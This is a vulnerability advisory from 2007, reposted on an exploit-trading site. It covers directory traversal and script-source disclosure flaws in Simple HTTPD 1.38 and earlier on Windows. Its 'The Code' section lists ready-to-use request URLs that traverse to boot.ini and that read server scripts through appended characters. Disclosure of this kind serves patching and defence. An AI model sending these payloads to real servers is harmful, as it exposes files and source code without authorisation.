0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Simple HTTPD <= 1.38 Multiple Remote Vulnerabilities
[====================================================
Simple HTTPD <= 1.38 Multiple Remote Vulnerabilities
====================================================
#######################################################################
Luigi Auriemma
Application: Simple HTTPD
http://shttpd.sourceforge.net
Versions: <= 1.38
Platforms: Windows, *nix, QNX, RTEMS
only Windows seems vulnerable
Bugs: A] directory traversal
B] scripts and CGI viewing/downloading
(%20 char found by Shay priel in Jun 2007)
Exploitation: remote
Date: 07 Dec 2007
Author: Luigi Auriemma
e-mail: aluigi@autistici.org
web: aluigi.org
#######################################################################
1) Introduction
2) Bugs
3) The Code
4) Fix
#######################################################################
===============
1) Introduction
===============
Simple HTTPD (shttpd) is an open source web server created for embedded
systems.
#######################################################################
=======
2) Bugs
=======
----------------------
A] directory traversal
----------------------
Using the "..\" pattern is possible to download any file in the disk on
which is located the web root directory.
--------------------------------------
B] scripts and CGI viewing/downloading
--------------------------------------
Any script or CGI in the server can be viewed/downloaded instead of
being executed simply appending the chars '+', '.', %20 (this one
reported by Shay priel in the summer 2007), %2e and any other byte (in
hex format too) major than 0x7f to the requested filename.
Note that only Windows seems vulnerable to the above bugs.
#######################################################################
===========
3) The Code
===========
A]
http://SERVER/..\..\..\boot.ini
http://SERVER/..\%2e%2e%5c..\boot.ini
B]
http://SERVER/file.php+
http://SERVER/file.php.
http://SERVER/file.php%80
http://SERVER/file.php%ff
#######################################################################
# 0day.today [2024-11-15] #